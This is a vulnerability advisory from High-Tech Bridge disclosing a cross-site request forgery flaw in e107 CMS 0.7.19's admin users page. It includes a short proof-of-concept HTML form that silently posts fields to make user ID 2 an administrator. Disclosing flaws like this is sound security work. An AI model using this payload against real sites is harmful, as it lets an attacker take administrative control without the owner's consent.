e107 CMS 0.7.19 - Cross-Site Request Forgery

Vulnerability ID: HTB22344

Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_e107.html

Product: e107 Website System

Vendor: e107

Vulnerable Version: 0.7.19 and Probably Prior Versions Vendor Notification:
05 April 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery)

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)



Vulnerability Details:

The vulnerability exists due to failure in the /e107_admin/users.php script
to properly verify the source of HTTP request.



Successful exploitation of this vulnerability could result in a compromise
of the application, disclosure or modification of sensitive data.



Attacker can use browser to exploit this vulnerability. The following PoC is
available:





<form method=POST action=http://host/e107_admin/users.php name=main> <input
type=hidden name=userid value=2> <input type=hidden name=userip
value=1.2.3.4> <input type=hidden name=useraction value=admin> </form>